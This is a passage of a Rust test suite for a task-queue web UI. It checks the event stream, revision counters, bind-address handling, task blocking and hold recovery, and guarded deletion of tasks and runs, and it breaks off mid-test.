21316 fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
21317 assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
21324 assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
21325 assert!(APP_JS.contains("function revealQueueSection(details)"));
21326 assert!(
21327 APP_JS.contains("consumeQueueFocus();\n consumeQueueSectionFocus();"),
21328 "renderQueue() must consume both focus channels on every pass"
21329 );
21330 assert!(
21331 APP_JS.contains(
21332 " const key = state.queueSectionFocus;\n if (!key || state.queue === null) return;\n if (state.queueSearch.trim() !== \"\") {"
21333 ),
21334 "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
21335 the recursive renderQueue() call has nothing left to reveal"
21336 );
21337 assert!(
21338 APP_JS.contains(
21339 " const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n state.queueSectionFocus = null;\n if (details) revealQueueSection(details);"
21340 ),
21341 "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
21342 );
21343 assert!(
21351 APP_JS.contains(" location.hash = \"#queue\";\n applyRoute();\n renderQueue();\n}"),
21352 "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
21353 hashchange event that may never fire"
21354 );
21355 }
21356
21357 #[tokio::test]
21358 async fn the_change_stream_announces_the_current_revisions_on_connect() {
21359 let f = Fixture::start().await;
21360
21361 let mut socket = tokio::net::TcpStream::connect(f.addr)
21362 .await
21363 .expect("connect");
21364 socket
21365 .write_all(
21366 b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
21367 )
21368 .await
21369 .expect("write request");
21370
21371 let mut seen = String::new();
21374 let mut buf = [0u8; 1024];
21375 while !seen.contains("event: change") {
21376 let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
21377 .await
21378 .expect("the stream must speak within five seconds")
21379 .expect("read");
21380 assert!(read > 0, "the server closed the change stream: {seen}");
21381 seen.push_str(&String::from_utf8_lossy(&buf[..read]));
21382 }
21383
21384 assert!(
21385 seen.to_lowercase()
21386 .contains("content-type: text/event-stream"),
21387 "the browser only reconnects automatically for a real SSE stream: {seen}"
21388 );
21389 let data = seen
21390 .lines()
21391 .find_map(|l| l.strip_prefix("data:"))
21392 .expect("a data line");
21393 let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
21394 assert!(
21395 payload["queue_rev"].is_u64()
21396 && payload["runs_rev"].is_u64()
21397 && payload["questions_rev"].is_u64()
21398 && payload["talks_rev"].is_u64()
21399 && payload["notifications_rev"].is_u64()
21400 && payload["loop_rev"].is_u64(),
21401 "the client needs one revision per store to know what to refetch, \
21402 and `talks_rev` is the only notification a standing talk gets - a \
21403 phone whose radio slept through a turn learns about it here, as \
21404 does one whose operator started the loop from another device: \
21405 {payload}"
21406 );
21407
21408 let health = f.get("/api/health").await.json();
21415 for key in [
21416 "queue_rev",
21417 "runs_rev",
21418 "questions_rev",
21419 "talks_rev",
21420 "notifications_rev",
21421 "loop_rev",
21422 ] {
21423 assert!(
21424 health[key].is_u64(),
21425 "health is the change stream's fallback and is missing `{key}`: {health}"
21426 );
21427 }
21428 }
21429
21430 #[tokio::test]
21431 async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
21432 let f = Fixture::start().await;
21433 let before = f.get("/api/health").await.json()["talks_rev"]
21434 .as_u64()
21435 .expect("talks_rev");
21436
21437 let talk = seed_talk(&f, "20260904-014455-ab12", "open");
21438 std::thread::sleep(Duration::from_millis(10));
21439 let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
21440 on_disk.turns.push(crate::talk::Turn {
21441 sender: None,
21442 breaks: Some(Vec::new()),
21443 messages: Vec::new(),
21444 posted_by: None,
21445 who: crate::talk::Who::Operator,
21446 body: "a new turn".to_owned(),
21447 at: Timestamp::now(),
21448 attachments: Vec::new(),
21449 usage: None,
21450 });
21451 f.talks().put(&mut on_disk).expect("record a turn");
21452
21453 let after = tokio::time::timeout(Duration::from_secs(5), async {
21454 loop {
21455 let revision = f.get("/api/health").await.json()["talks_rev"]
21456 .as_u64()
21457 .unwrap();
21458 if revision != before {
21459 break revision;
21460 }
21461 tokio::time::sleep(Duration::from_millis(50)).await;
21462 }
21463 })
21464 .await
21465 .expect("shared monitor observes external turn");
21466 assert_ne!(
21467 before, after,
21468 "a phone must be able to notice a talk's reply without polling every store"
21469 );
21470 }
21471
21472 #[test]
21473 fn bind_reads_back_from_the_spelling_the_cli_prints() {
21474 for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
21478 assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
21479 }
21480 assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
21481 assert!("everywhere".parse::<Bind>().is_err());
21482 }
21483
21484 #[test]
21485 fn an_explicit_bind_address_is_taken_verbatim() {
21486 let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
21487
21488 let (addr, warning) = resolve_bind(&Bind::Addr(asked));
21489
21490 assert_eq!(addr, asked);
21491 assert!(
21492 warning.is_none(),
21493 "an operator who named an address gets no lecture"
21494 );
21495 }
21496
21497 #[test]
21498 fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
21499 let (addr, warning) = resolve_bind(&Bind::Auto);
21500
21501 match addr {
21508 IpAddr::V4(ip) if is_tailnet(&ip) => {
21509 assert!(warning.is_none(), "a tailnet address needs no warning");
21510 }
21511 other => {
21512 assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
21513 let warning = warning.expect("a fallback has to explain itself");
21514 assert!(
21515 warning.contains("127.0.0.1") && warning.contains("local-only"),
21516 "the warning says what happened and what it costs: {warning}"
21517 );
21518 }
21519 }
21520 }
21521
21522 #[test]
21523 fn only_the_cgnat_block_counts_as_a_tailnet_address() {
21524 assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
21528 assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
21529 assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
21530 assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
21531 assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
21532 }
21533
21534 #[test]
21535 fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
21536 let ids = vec![
21537 "20260902-140501-aaaa".to_owned(),
21538 "20260902-140502-aabb".to_owned(),
21539 ];
21540
21541 let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
21542 let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
21543 let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
21544
21545 assert_eq!(missing.status, StatusCode::NOT_FOUND);
21546 assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
21547 assert_eq!(short, "20260902-140502-aabb");
21548 }
21549 #[tokio::test]
21550 async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
21551 let fx = Fixture::start().await;
21557 let id = panel(
21558 &fx,
21559 "<img src=\"shot.png\">",
21560 &[("shot.png", b"\x89PNG\r\n\x1a\n")],
21561 );
21562
21563 let doc = fx
21565 .get(&format!("/api/questions/{id}/panel/index.html"))
21566 .await;
21567 assert_eq!(doc.status, 200, "{}", doc.body);
21568 assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
21569
21570 let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
21571 assert_eq!(sibling.status, 200, "{}", sibling.body);
21572 assert_eq!(sibling.header("content-type"), Some("image/png"));
21573 assert_eq!(
21574 sibling.header("content-security-policy"),
21575 Some(PANEL_CSP),
21576 "the sibling route must carry the same policy as the asset route"
21577 );
21578
21579 assert_eq!(
21582 fx.head(&format!("/api/questions/{id}/panel")).await.status,
21583 200
21584 );
21585 }
21586
21587 #[test]
21588 fn delta_stamps_cover_add_update_remove_and_noop() {
21589 let before: Stamps = [("a".into(), (1, 10)), ("b".into(), (2, 20))].into();
21590 let after: Stamps = [("b".into(), (2, 21)), ("c".into(), (3, 30))].into();
21591 let delta = diff_stamps(&before, &after, 42);
21592 assert_eq!(delta.base, 42);
21593 assert_eq!(delta.changed, ["b", "c"]);
21594 assert_eq!(delta.removed, ["a"]);
21595 let same = diff_stamps(&after, &after, 43);
21596 assert!(same.changed.is_empty() && same.removed.is_empty());
21597 assert_ne!(stamps_revision(&before), stamps_revision(&after));
21598 let nanos: Stamps = [("b".into(), (2, 20))].into();
21599 let same_ms: Stamps = [("b".into(), (3, 20))].into();
21600 assert_ne!(stamps_revision(&nanos), stamps_revision(&same_ms));
21601 assert_eq!(stamps_revision(&Stamps::new()), 0);
21602 }
21603
21604 fn delta_test_ui(home: &FsPath) -> Arc<Ui> {
21605 std::fs::create_dir_all(home.join("runs")).unwrap();
21606 Arc::new(
21607 Ui::new(
21608 Queue::at(home.join("queue")),
21609 Questions::at(home.join("questions")),
21610 Talks::at(home.join("talks")),
21611 home.join("runs"),
21612 home.to_owned(),
21613 PathBuf::from("/repo/magi"),
21614 )
21615 .with_worktrees_root(home.join("wt")),
21616 )
21617 }
21618
21619 #[test]
21620 fn monitor_scan_isolates_store_failures_and_recovers() {
21621 let home = TempDir::new().unwrap();
21622 let ui = delta_test_ui(home.path());
21623 std::fs::create_dir_all(ui.questions.root()).unwrap();
21624 std::fs::write(ui.questions.root().join("q.json"), "{}").unwrap();
21625 let before = monitor_scan(&ui, None);
21626 std::fs::rename(ui.questions.root(), home.path().join("saved-questions")).unwrap();
21627 std::fs::write(ui.questions.root(), "not a directory").unwrap();
21628 std::fs::create_dir_all(ui.talks.root()).unwrap();
21629 std::fs::write(ui.talks.root().join("new.json"), "{}").unwrap();
21630 let during = monitor_scan(&ui, Some(before.clone()));
21631 assert_eq!(during.0.2, before.0.2);
21632 assert_ne!(during.0.3, before.0.3);
21633 assert!(during.1[2].contains_key("new"));
21634 std::fs::remove_file(ui.questions.root()).unwrap();
21635 let after = monitor_scan(&ui, Some(during));
21636 assert_eq!(after.0.2, 0);
21637 assert_eq!(after.0.3, stamps_revision(&after.1[2]));
21638 std::fs::write(ui.questions.root(), "not a directory").unwrap();
21640 assert_eq!(monitor_scan(&ui, None).0.3, after.0.3);
21641 }
21642
21643 #[tokio::test]
21644 async fn delta_stream_announces_a_base_then_changed_and_removed_ids() {
21645 let home = TempDir::new().unwrap();
21646 let ui = delta_test_ui(home.path());
21647 let mut task = Task::new(
21648 "stream task".into(),
21649 "text".into(),
21650 PathBuf::from("/repo"),
21651 Source::Human,
21652 );
21653 ui.queue.put(&mut task).unwrap();
21654 let response = events(State(ui.clone())).await.into_response();
21655 let mut stream = response.into_body().into_data_stream();
21656 async fn change(stream: &mut axum::body::BodyDataStream) -> serde_json::Value {
21657 let chunk = tokio::time::timeout(Duration::from_secs(5), stream.next())
21658 .await
21659 .unwrap()
21660 .unwrap()
21661 .unwrap();
21662 let text = String::from_utf8(chunk.to_vec()).unwrap();
21663 let data = text
21664 .lines()
21665 .find_map(|line| {
21666 line.strip_prefix("data: ")
21667 .or_else(|| line.strip_prefix("data:"))
21668 })
21669 .unwrap();
21670 serde_json::from_str(data).unwrap()
21671 }
21672 let initial = change(&mut stream).await;
21673 assert!(initial.get("queue_delta").is_none());
21674 task.instruction.push_str(" changed");
21675 ui.queue.put(&mut task).unwrap();
21676 let updated = change(&mut stream).await;
21677 assert_eq!(updated["queue_delta"]["base"], initial["queue_rev"]);
21678 assert_eq!(
21679 updated["queue_delta"]["changed"],
21680 serde_json::json!([task.id])
21681 );
21682 assert_eq!(
21683 updated["queue_rev"].as_u64(),
21684 Some(stamps_revision(&store_stamps(ui.queue.root(), false)))
21685 );
21686 std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
21687 let removed = change(&mut stream).await;
21688 assert_eq!(removed["queue_delta"]["base"], updated["queue_rev"]);
21689 assert_eq!(
21690 removed["queue_delta"]["removed"],
21691 serde_json::json!([task.id])
21692 );
21693 }
21694
21695 #[tokio::test]
21696 async fn delta_lists_keep_blockers_and_respect_the_run_window() {
21697 let home = TempDir::new().unwrap();
21698 let ui = delta_test_ui(home.path());
21699 let queue = ui.queue.clone();
21700 let query = |ids: Option<&str>| {
21701 Query(ListQuery {
21702 limit: Some(2),
21703 ids: ids.map(str::to_owned),
21704 })
21705 };
21706 let mut root = Task::new(
21707 "root".into(),
21708 "instruction".into(),
21709 PathBuf::from("/repo"),
21710 Source::Human,
21711 );
21712 queue.put(&mut root).unwrap();
21713 let mut blocked = Task::new(
21714 "blocked".into(),
21715 "instruction".into(),
21716 PathBuf::from("/repo"),
21717 Source::Human,
21718 );
21719 blocked.block(vec![root.id.clone()], None);
21720 queue.put(&mut blocked).unwrap();
21721 let whole =
21722 serde_json::to_value(queue_list(State(ui.clone()), query(None)).await.unwrap().0)
21723 .unwrap();
21724 let subset = serde_json::to_value(
21725 queue_list(State(ui.clone()), query(Some(&root.id)))
21726 .await
21727 .unwrap()
21728 .0,
21729 )
21730 .unwrap();
21731 assert_eq!(whole, subset, "requested root plus its blocked dependent");
21732 let blockers = serde_json::to_value(
21733 queue_list(State(ui.clone()), query(Some("")))
21734 .await
21735 .unwrap()
21736 .0,
21737 )
21738 .unwrap();
21739 assert_eq!(blockers.as_array().unwrap().len(), 1);
21740 assert_eq!(blockers[0]["id"], blocked.id);
21741 assert_eq!(
21742 blockers[0]["waits_on"],
21743 whole
21744 .as_array()
21745 .unwrap()
21746 .iter()
21747 .find(|row| row["id"] == blocked.id)
21748 .unwrap()["waits_on"]
21749 );
21750
21751 for id in [
21752 "20260902-140501-aaaa",
21753 "20260902-140502-bbbb",
21754 "20260902-140503-cccc",
21755 ] {
21756 write_run(&ui.runs, id, RunStatus::Merged);
21757 }
21758 let old = serde_json::to_value(
21759 runs_list(State(ui.clone()), query(Some("20260902-140501-aaaa")))
21760 .await
21761 .unwrap()
21762 .0,
21763 )
21764 .unwrap();
21765 assert!(
21766 old.as_array().unwrap().is_empty(),
21767 "older updates must not enter the window"
21768 );
21769 let newest = serde_json::to_value(
21770 runs_list(State(ui.clone()), query(Some("20260902-140503-cccc")))
21771 .await
21772 .unwrap()
21773 .0,
21774 )
21775 .unwrap();
21776 assert_eq!(newest.as_array().unwrap().len(), 1);
21777 assert_eq!(newest[0]["id"], "20260902-140503-cccc");
21778
21779 seed_talk_at(&ui.talks, "20260905-000000-d4e5", "open");
21780 seed_talk_at(&ui.talks, "20260905-000001-d4e6", "open");
21781 let talks = serde_json::to_value(
21782 talks_list(
21783 State(ui.clone()),
21784 query(Some("20260905-000000-d4e5")),
21785 header::HeaderMap::new(),
21786 )
21787 .await
21788 .unwrap()
21789 .0,
21790 )
21791 .unwrap();
21792 assert_eq!(talks.as_array().unwrap().len(), 1);
21793 assert_eq!(talks[0]["id"], "20260905-000000-d4e5");
21794 assert_eq!(
21795 serde_json::to_value(
21796 talks_list(State(ui.clone()), query(Some("")), header::HeaderMap::new())
21797 .await
21798 .unwrap()
21799 .0
21800 )
21801 .unwrap(),
21802 serde_json::json!([])
21803 );
21804 }
21805
21806 #[tokio::test]
21807 #[ignore = "manual payload measurement; requires a JSON snapshot in MAGI_WEB_BENCH_HOME"]
21808 async fn delta_payload_benchmark() {
21809 let home = PathBuf::from(std::env::var_os("MAGI_WEB_BENCH_HOME").expect("snapshot"));
21810 let ui = delta_test_ui(&home);
21811 let query = |ids: Option<String>| {
21812 Query(ListQuery {
21813 limit: Some(50),
21814 ids,
21815 })
21816 };
21817 let queue = queue_list(State(ui.clone()), query(None)).await.unwrap().0;
21818 let runs = runs_list(State(ui.clone()), query(None)).await.unwrap().0;
21819 let talks = talks_list(State(ui.clone()), query(None), header::HeaderMap::new())
21820 .await
21821 .unwrap()
21822 .0;
21823 let queue_id = queue
21824 .iter()
21825 .find(|row| row.task.status == crate::queue::TaskStatus::Running)
21826 .unwrap_or(&queue[0])
21827 .task
21828 .id
21829 .clone();
21830 let queue_delta = queue_list(State(ui.clone()), query(Some(queue_id)))
21831 .await
21832 .unwrap()
21833 .0;
21834 let runs_delta = runs_list(State(ui.clone()), query(Some(runs[0].id.clone())))
21835 .await
21836 .unwrap()
21837 .0;
21838 let talks_delta = talks_list(
21839 State(ui.clone()),
21840 query(Some(talks[0].id.clone())),
21841 header::HeaderMap::new(),
21842 )
21843 .await
21844 .unwrap()
21845 .0;
21846 let bytes = |rows: serde_json::Value| serde_json::to_vec(&rows).unwrap().len();
21847 eprintln!(
21848 "DELTA_PAYLOAD {}",
21849 serde_json::json!({
21850 "queue": [bytes(serde_json::to_value(&queue).unwrap()), bytes(serde_json::to_value(&queue_delta).unwrap())],
21851 "runs50": [bytes(serde_json::to_value(&runs).unwrap()), bytes(serde_json::to_value(&runs_delta).unwrap())],
21852 "talks": [bytes(serde_json::to_value(&talks).unwrap()), bytes(serde_json::to_value(&talks_delta).unwrap())],
21853 "counts": [queue.len(), runs.len(), talks.len()],
21854 "blocked": queue_delta.len() - 1,
21855 })
21856 );
21857 }
21858
21859 #[test]
21860 fn runs_revision_moves_when_deleting_an_older_run() {
21861 let temp = TempDir::new().expect("tempdir");
21862 let runs = temp.path().join("runs");
21863 std::fs::create_dir_all(&runs).expect("create runs dir");
21864
21865 assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
21866
21867 write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
21868 std::thread::sleep(Duration::from_millis(10));
21869 write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
21870
21871 let rev_before = runs_revision(&runs);
21872 assert!(rev_before > 0);
21873
21874 let old_dir = runs.join("20260901-100000-old1");
21875 std::fs::remove_dir_all(&old_dir).expect("remove old run");
21876
21877 let rev_after = runs_revision(&runs);
21878 assert_ne!(
21879 rev_before, rev_after,
21880 "deleting an older run must change the revision so other clients see the deletion"
21881 );
21882 }
21883
21884 fn write_state(runs: &FsPath, state: &RunState) {
21889 let dir = runs.join(&state.id);
21890 std::fs::create_dir_all(&dir).expect("run dir");
21891 std::fs::write(
21892 dir.join("run.json"),
21893 serde_json::to_string_pretty(state).expect("serialize run"),
21894 )
21895 .expect("write run.json");
21896 }
21897
21898 #[test]
21903 fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
21904 let temp = TempDir::new().expect("tempdir");
21905 let runs = temp.path().join("runs");
21906 std::fs::create_dir_all(&runs).expect("create runs dir");
21907 let mut state = RunState::new(
21908 PathBuf::from("/repo/magi"),
21909 "main".to_owned(),
21910 "0123456789abcdef".to_owned(),
21911 "task".to_owned(),
21912 Config::default(),
21913 );
21914 state.id = "20260902-100000-c0de".to_owned();
21915 write_state(&runs, &state);
21916
21917 let rev_idle = runs_revision(&runs);
21918 std::thread::sleep(Duration::from_millis(10));
21919 state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
21920 write_state(&runs, &state);
21921 let rev_started = runs_revision(&runs);
21922 assert_ne!(
21923 rev_idle, rev_started,
21924 "a seat starting must move the revision"
21925 );
21926
21927 std::thread::sleep(Duration::from_millis(10));
21928 state.seat_finished("judge-1");
21929 write_state(&runs, &state);
21930 let rev_finished = runs_revision(&runs);
21931 assert_ne!(
21932 rev_started, rev_finished,
21933 "and clearing it again must move the revision a second time"
21934 );
21935 }
21936
21937 #[tokio::test]
21938 async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
21939 let fx = Fixture::start().await;
21944 let q = fx.queue();
21945
21946 let mut t = Task::new(
21947 "Task".to_owned(),
21948 "Instruction".to_owned(),
21949 PathBuf::from("/repo"),
21950 Source::Human,
21951 );
21952 t.block(
21953 vec!["20260101-000000-dead".to_owned()],
21954 Some("waiting on Task 1".to_owned()),
21955 );
21956 t.answers.push(crate::queue::AnsweredQuestion {
21957 question: "Which backend?".to_owned(),
21958 answer: "SQLite".to_owned(),
21959 });
21960 q.put(&mut t).expect("put t");
21961
21962 let res = fx.get("/api/queue").await;
21963 assert_eq!(res.status, 200);
21964 let list = res.json();
21965 let view = list
21966 .as_array()
21967 .expect("array")
21968 .iter()
21969 .find(|v| v["id"] == t.id)
21970 .expect("task in list");
21971 assert_eq!(view["status_str"], "blocked");
21972 assert_eq!(
21973 view["blocked_by"],
21974 serde_json::json!(["20260101-000000-dead"])
21975 );
21976 assert_eq!(view["block_reason"], "waiting on Task 1");
21977 assert_eq!(view["answers"][0]["question"], "Which backend?");
21978 assert_eq!(view["answers"][0]["answer"], "SQLite");
21979
21980 let res = fx
21984 .post(&format!("/api/queue/{}/hold", t.short()), None)
21985 .await;
21986 assert_eq!(res.status, 200);
21987 let held = res.json();
21988 assert_eq!(held["status_str"], "held");
21989 assert_eq!(held["blocked_by"], serde_json::json!([]));
21990 assert!(held["block_reason"].is_null());
21991 assert_eq!(held["answers"][0]["answer"], "SQLite");
21992 }
21993
21994 #[tokio::test]
21995 async fn task_recovery_pending_decisions_block_disk_autoresume() {
21996 let fx = Fixture::start().await;
21997 let queue = fx.queue();
21998 let questions = fx.questions();
21999 let mut task = Task::new(
22000 "Disk recovery".into(),
22001 "Inspect".into(),
22002 PathBuf::from("/repo"),
22003 Source::Human,
22004 );
22005 task.hold_machine(crate::disk::gate(2_667_941_888, 3_221_225_472));
22006 queue.put(&mut task).unwrap();
22007 let mut records = Vec::new();
22008 for node in [crate::triage::NODE, crate::triage::DEPS_NODE] {
22009 let mut q = Question::new(
22010 task.id.clone(),
22011 node.into(),
22012 "triage".into(),
22013 "Resume recovery?".into(),
22014 String::new(),
22015 vec![],
22016 );
22017 q.routed_task = Some(task.id.clone());
22018 questions.put(&mut q).unwrap();
22019 records.push(q);
22020 }
22021 let url = format!("/api/queue/{}", task.id);
22022 let view = fx.get(&url).await.json();
22023 assert_eq!(view["status_str"], "held");
22024 assert_eq!(view["blockers"].as_array().unwrap().len(), 2);
22025 assert!(
22026 view["recovery"]
22027 .as_str()
22028 .unwrap()
22029 .contains("Disk recovery alone will not resume")
22030 );
22031 assert!(
22032 view["recovery"]
22033 .as_str()
22034 .unwrap()
22035 .contains("If no recovery decision is pending")
22036 );
22037 for blocker in view["blockers"].as_array().unwrap() {
22038 assert!(blocker["destination"].is_null());
22039 assert!(
22040 blocker["next"]
22041 .as_str()
22042 .unwrap()
22043 .contains("pending delivery")
22044 );
22045 }
22046 for q in &mut records {
22047 q.routed_chat = Some("owning-chat".into());
22048 questions.put(q).unwrap();
22049 }
22050 let view = fx.get(&url).await.json();
22051 for blocker in view["blockers"].as_array().unwrap() {
22052 assert_eq!(
22053 blocker["destination"],
22054 serde_json::json!(["chat", "owning-chat"])
22055 );
22056 assert_eq!(blocker["resolves_itself"], false);
22057 }
22058 for q in &mut records {
22060 q.status = ask::QuestionStatus::Answered;
22061 questions.put(q).unwrap();
22062 }
22063 assert!(crate::triage::pending_for(&questions, &task));
22064 let view = fx.get(&url).await.json();
22065 assert_eq!(view["blockers"].as_array().unwrap().len(), 2);
22066 assert!(
22067 view["blockers"][0]["next"]
22068 .as_str()
22069 .unwrap()
22070 .contains("not yet applied")
22071 );
22072 for q in &records {
22073 task.mark_triage_applied(&q.id);
22074 }
22075 queue.put(&mut task).unwrap();
22076 assert!(!crate::triage::pending_for(&questions, &task));
22077 assert_eq!(fx.get(&url).await.json()["blockers"], serde_json::json!([]));
22078 assert_eq!(queue.get(&task.id).unwrap().status, TaskStatus::Held);
22079 }
22080
22081 #[test]
22082 fn task_recovery_distinguishes_dependency_restoration_and_hold_ownership() {
22083 use crate::queue::HoldSource;
22084 let mut task = Task::new(
22085 "Recovery".into(),
22086 "Inspect".into(),
22087 PathBuf::from("/repo"),
22088 Source::Human,
22089 );
22090 assert!(task_recovery(&task).is_none());
22091 task.hold_manual(Some("Operator paused".into()));
22092 assert!(task_recovery(&task).unwrap().contains("explicitly Release"));
22093 task.block(vec!["dependency".into()], Some("Decision needed".into()));
22094 let text = task_recovery(&task).unwrap();
22095 assert!(text.contains("restores held"));
22096 assert!(text.contains("clears its dependency references"));
22097 task.hold_source = Some(HoldSource::Machine);
22098 task.hold_reason = crate::disk::gate(2_667_941_888, 3_221_225_472);
22099 let view = TaskView::with_inventory(
22100 task.clone(),
22101 &crate::blockers::Inventory::new(vec![task.clone()], &[]),
22102 );
22103 let json = serde_json::to_value(view).unwrap();
22104 assert_eq!(json["block_reason"], "Decision needed");
22105 assert!(json["hold_reason"].as_str().unwrap().contains("2667941888"));
22106 let recovery = json["recovery"].as_str().unwrap();
22107 assert!(recovery.contains("not current capacity"));
22108 assert!(recovery.contains("triage rechecks"));
22109 assert_eq!(json["blockers"][0]["state"], "missing");
22110 task.blocked_from = Some(TaskStatus::Queued);
22111 assert!(!task_recovery(&task).unwrap().contains("triage rechecks"));
22112 task.blocked_from = None;
22113 assert!(task_recovery(&task).unwrap().contains("restores held"));
22114 }
22115
22116 #[tokio::test]
22117 async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
22118 let fx = Fixture::start().await;
22119 let q = fx.queue();
22120 let mk = |title: &str| {
22121 Task::new(
22122 title.to_owned(),
22123 "Instruction".to_owned(),
22124 PathBuf::from("/repo"),
22125 Source::Human,
22126 )
22127 };
22128 let mut root = mk("root");
22129 root.hold_manual(Some("waiting".to_owned()));
22130 q.put(&mut root).unwrap();
22131 let mut mid = mk("mid");
22132 mid.block(vec![root.id.clone()], None);
22133 q.put(&mut mid).unwrap();
22134 let mut leaf = mk("leaf");
22135 leaf.block(vec![mid.id.clone()], None);
22136 q.put(&mut leaf).unwrap();
22137
22138 let list = fx.get("/api/queue").await.json();
22139 let find = |id: &str| {
22140 list.as_array()
22141 .unwrap()
22142 .iter()
22143 .find(|v| v["id"] == id)
22144 .unwrap()
22145 .clone()
22146 };
22147 let leaf_view = find(&leaf.id);
22148 assert_eq!(
22149 leaf_view["waits_on"],
22150 serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
22151 );
22152 assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
22153 assert_eq!(
22154 find(&mid.id)["waits_on"],
22155 serde_json::json!([format!("{} (held)", root.short())])
22156 );
22157 assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
22158 }
22159
22160 #[tokio::test]
22161 async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
22162 let fx = Fixture::start().await;
22163 let q = fx.queue();
22164
22165 let mut t1 = Task::new(
22167 "Task 1".to_owned(),
22168 "Instruction 1".to_owned(),
22169 PathBuf::from("/repo"),
22170 Source::Human,
22171 );
22172 let run_id = "20260901-000000-r111";
22173 t1.runs.push(run_id.to_owned());
22174 write_run(&fx.runs(), run_id, RunStatus::Merged);
22175 q.put(&mut t1).expect("put t1");
22176
22177 let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
22179 assert_eq!(res.status, 204);
22180 assert!(res.body.is_empty(), "204 No Content has no body");
22181 assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
22182 assert!(
22183 fx.runs().join(run_id).exists(),
22184 "run directory must not be deleted when its task is deleted"
22185 );
22186
22187 let mut t2 = Task::new(
22189 "Task 2".to_owned(),
22190 "Instruction 2".to_owned(),
22191 PathBuf::from("/repo"),
22192 Source::Human,
22193 );
22194 t2.status = TaskStatus::Running;
22195 q.put(&mut t2).expect("put t2");
22196 let mut beat = crate::daemon::Status::new();
22197 beat.current = vec![crate::daemon::Current {
22198 worker: None,
22199 task: t2.id.clone(),
22200 run: "20260901-000000-r222".to_owned(),
22201 }];
22202 beat.updated_at = jiff::Timestamp::now();
22203 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
22204 .expect("publish a heartbeat");
22205 let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
22206 assert_eq!(res.status, 409);
22207 assert!(
22208 res.json()["error"]
22209 .as_str()
22210 .unwrap()
22211 .contains("live daemon")
22212 );
22213 assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
22214
22215 beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
22221 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
22222 .expect("leave a stale heartbeat");
22223 let mut t3 = Task::new(
22224 "Task 3".to_owned(),
22225 "Instruction 3".to_owned(),
22226 PathBuf::from("/repo"),
22227 Source::Human,
22228 );
22229 t3.status = TaskStatus::Running;
22230 q.put(&mut t3).expect("put t3");
22231 std::mem::forget(q.claim(&t3.id).expect("claim t3"));
22232 let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
22233 assert_eq!(res.status, 204);
22234 assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
22235 assert!(
22236 q.claim(&t3.id).is_ok(),
22237 "the stale lock went with it, so the id is claimable again"
22238 );
22239
22240 let res = fx.delete("/api/queue/nonexistent").await;
22242 assert_eq!(res.status, 404);
22243 }
22244
22245 #[tokio::test]
22246 async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
22247 let fx = Fixture::start().await;
22248 let runs = fx.runs();
22249
22250 let run_id = "20260901-000000-fold";
22252 let mut state = RunState::new(
22253 PathBuf::from("/repo"),
22254 "main".to_owned(),
22255 "abc".to_owned(),
22256 "instruction".to_owned(),
22257 Config::default(),
22258 );
22259 state.id = run_id.to_owned();
22260 state.status = RunStatus::Merged;
22261 state.candidates.push(crate::run::Candidate {
22262 index: 0,
22263 label: 'A',
22264 agent: "a".to_owned(),
22265 branch: "b".to_owned(),
22266 worktree: PathBuf::from("/w"),
22267 summary: String::new(),
22268 stat: String::new(),
22269 files: 1,
22270 commits: 1,
22271 empty: false,
22272 failed: None,
22273 verified_noop: None,
22274 duration_ms: 0,
22275 folded: true,
22276 });
22277 let dir = runs.join(run_id);
22278 std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
